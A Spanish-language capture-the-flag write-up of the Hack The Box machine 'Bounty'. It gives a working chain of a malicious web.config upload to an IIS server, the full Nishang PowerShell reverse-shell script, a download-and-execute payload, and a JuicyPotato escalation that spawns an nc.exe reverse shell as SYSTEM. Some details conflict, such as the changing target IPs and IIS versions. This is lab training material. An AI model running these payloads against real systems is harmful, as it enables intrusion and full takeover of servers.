Bounty
Máquina Bounty de Hackthebox
Skills
- IIS Enumeration
- IIS Exploitation - Executing code via web.config file upload
- Abusing SeImpersonatePrivilege - Juicy Potato [Privilege Escalation]
Certificaciones
- eWPT
- OSCP
Descripción
Bounty es una máquina easy windows, descubrimos un directorio para subir archivos fuzzeando el puerto 80, subimos un archivo web.config con el que obtenemos un RCE (Remote Code Execution). Gracias a este RCE y usando nishang obtenemos una powershell, posteriormente escalamos privilegios usando JuicyPotato para abusar del SeImpersonatePrivilege
Reconocimiento
Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas windows suele ser 128, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
# ping 10.129.195.92
PING 10.129.195.92 (10.129.195.92) 56(84) bytes of data.
64 bytes from 10.129.195.92: icmp_seq=1 ttl=127 time=56.4 ms
64 bytes from 10.129.195.92: icmp_seq=2 ttl=127 time=56.5 ms
^C
--- 10.129.195.92 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 56.373/56.438/56.503/0.065 ms
Nmap
Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.195.92 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-18 21:16 CEST
Initiating SYN Stealth Scan at 21:16
Scanning 10.129.195.92 [65535 ports]
Discovered open port 80/tcp on 10.129.195.92
Completed SYN Stealth Scan at 21:17, 28.18s elapsed (65535 total ports)
Nmap scan report for 10.129.195.92
Host is up (0.16s latency).
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 28.25 seconds
Raw packets sent: 131089 (5.768MB) | Rcvd: 21 (924B)
Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# nmap -sCV -p80 10.129.195.92 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-18 21:17 CEST
Nmap scan report for 10.129.195.92
Host is up (0.065s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: Bounty
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.58 seconds
Web Enumeration
Al acceder al servicio web nos encontramos con lo siguiente
Fuzzeamos en busca de rutas, como es un IIS 10.0 vamos a fuzzear adjuntando varios tipos de extensiones
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# dirsearch -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e asp,aspx,config,php -f -u http://10.129.195.92
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: asp, aspx, config, php | HTTP method: GET | Threads: 200 | Wordlist size: 1323270
Output File: /home/justice-reaper/reports/http_10.129.195.92/_24-07-19_11-46-50.txt
Target: http://10.129.195.92/
[11:46:50] Starting:
[11:47:54] 200 - 974B - /transfer.aspx
[11:48:42] 400 - 11B - /*checkout*.aspx
[11:50:43] 400 - 11B - /*docroot*.aspx
[11:50:56] 400 - 11B - /*.aspx
[11:52:25] 400 - 11B - /http%3A%2F%2Fwww.aspx
[11:54:35] 400 - 11B - /http%3A.aspx
[11:55:10] 403 - 1KB - /UploadedFiles/
[11:55:10] 301 - 158B - /UploadedFiles -> http://10.129.195.92/UploadedFiles/
[11:55:29] 400 - 11B - /q%26a.aspx
[11:55:37] 400 - 11B - /**http%3a.aspx
[11:56:37] 400 - 11B - /*http%3A.aspx
[11:57:12] 403 - 1KB - /uploadedFiles/
[11:57:12] 301 - 158B - /uploadedFiles -> http://10.129.195.92/uploadedFiles/
[12:01:46] 400 - 11B - /**http%3A.aspx
[12:01:52] 400 - 11B - /http%3A%2F%2Fyoutube.aspx
[12:05:45] 400 - 11B - /http%3A%2F%2Fblogs.aspx
[12:06:17] 400 - 11B - /http%3A%2F%2Fblog.aspx
[12:06:18] 301 - 158B - /uploadedfiles -> http://10.129.195.92/uploadedfiles/
[12:06:18] 403 - 1KB - /uploadedfiles/
En /transfer.aspx vemos lo siguiente tras subir un archivo llamado dog.jpg
En /uploadedFiles he buscado por el archivo dog.jpg pero no está ahí, he visto en https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/iis-internet-information-services que puedes subir un archivo .config para ejecutar código malicioso. Con este código podemos crear un archivo llamado web.config para posteriormente subirlo a la web
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->
La web ha aceptado el payload
Si nos dirigimos ahora a http://10.129.195.172/uploadedFiles/web.config recibiremos un 3, eso significa que el código ha funcionado correctamente y que tenemos un RCE (Remote Code Execution). La web borra los archivos subidos rápidamente por lo hay que ser rápido para ejecutar el payload
Lo que vamos a hacer ahora es descargarnos Invoke-PowerShellTcp.ps1 de https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1. Una vez descargado el script vamos a copiar Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 que encontramos en la parte de .EXAMPLE al final del script con la dirección IP de nuestra máquina y con el puerto por el que nos mandará la conexión
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.16 -Port 4444
Lo siguiente que debemos hacer es ponernos en escucha por el puerto 4444 con rlwrap y netcat
1
# rlwrap nc -nlvp 4444
En el mismo directorio donde tenemos el archivo web.config nos montamos un servidor http
1
# python -m http.server 80
Ahora vamos a modificar el archivo web.config para que ejecute el archivo Invoke-PowerShellTcp.ps1 de nuestro equipo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
<appSettings>
</appSettings>
</configuration>
<%
Set obj = CreateObject("WScript.Shell")
obj.Exec("cmd /c powershell iex (New-Object Net.WebClient).DownloadString('http://Invoke-PowerShellTcp.ps1/Invoke-PowerShellTcp.ps1')")
%>
Una vez subido este archivo y veamos que la subida ha sido exitosa nos debemos dirigir a http://10.129.74.109/uploadedfiles/web.config. Si todo ha ido bien deberíamos recibir una shell en nuestro equipo
1
2
3
4
5
6
7
8
# rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.74.109] 49160
Windows PowerShell running as user BOUNTY$ on BOUNTY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv>whoami
bounty\merlin
Listamos privilegios y vemos que SeImpersonatePrivilege está habilitado, con este privilegio podemos convertirnos en el usuario Administrator
1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\windows\system32\inetsrv> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Vamos a convertirnos en Administrator siguiendo las instrucciones de [https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#seimpersonateprivilege](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#seimpersonateprivilege. Para ver si podemos usar JuicyPotato listamos la versión del Windows Server, en este caso al ser anterior al 2019 podemos usarlo, de no ser así tendríamos que utilizar otras alternativas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
PS C:\windows\system32\inetsrv> systeminfo
Host Name: BOUNTY
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 55041-402-3606965-84760
Original Install Date: 5/30/2018, 12:22:24 AM
System Boot Time: 7/19/2024, 4:00:42 PM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,591 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,600 MB
Virtual Memory: In Use: 495 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: vmxnet3 Ethernet Adapter
Connection Name: Local Area Connection 3
DHCP Enabled: Yes
DHCP Server: 10.129.0.1
IP address(es)
[01]: 10.129.74.109
[02]: fe80::105e:cd75:e3ee:bb82
[03]: dead:beef::105e:cd75:e3ee:bb82
Lo que debemos hacer ahora es descargarnos JuicyPotato en https://github.com/ohpe/juicy-potato/releases/tag/v0.1 y Netcat en https://eternallybored.org/misc/netcat/. Podemos obtener los CLSID de Microsoft Windows Server 2008 R2 Datacenter en https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise/. Una vez descargado todo esto nos vamos a la carpeta donde se encuentran las descargas y creamos un servidor con smb
1
# impacket-smbserver smbFolder $(pwd) -smb2support
Desde la máquina windows obtenemos todos los archivos
1
PS C:\Users\merlin\Desktop> copy \\10.10.16.16\smbFolder\JuicyPotato.exe .
1
PS C:\Users\merlin\Desktop> copy \\10.10.16.16\smbFolder\nc.exe .
1
2
3
4
5
6
7
8
9
10
PS C:\Users\merlin\Desktop> dir
Directory: C:\Users\merlin\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 7/19/2024 4:13 PM 347648 JuicyPotato.exe
-a--- 12/26/2010 2:26 PM 36528 nc.exe
Lo siguiente que debemos hacer es ponernos en escucha por el puerto 9001, el puerto 443 puede dar en ocasiones problemas porque es un puerto privilegiado, si nos da error debido al CLSID lo único que hay que hacer es probar con otro
1
# rlwrap nc -nlvp 9001
Ejecutamos el binario JuicyPotato
1
2
3
4
5
6
7
PS C:\Users\merlin\Desktop> ./JuicyPotato.exe -l 1337 -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}" -p C:\Windows\System32\cmd.exe -a "/c C:\Users\merlin\Desktop\nc.exe -e cmd.exe 10.10.16.16 9001" -t *
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
Desde nuestro equipo deberíamos recibir esta consola como nt authority\system
1
2
3
4
5
6
7
8
9
# rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.74.109] 49175
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system




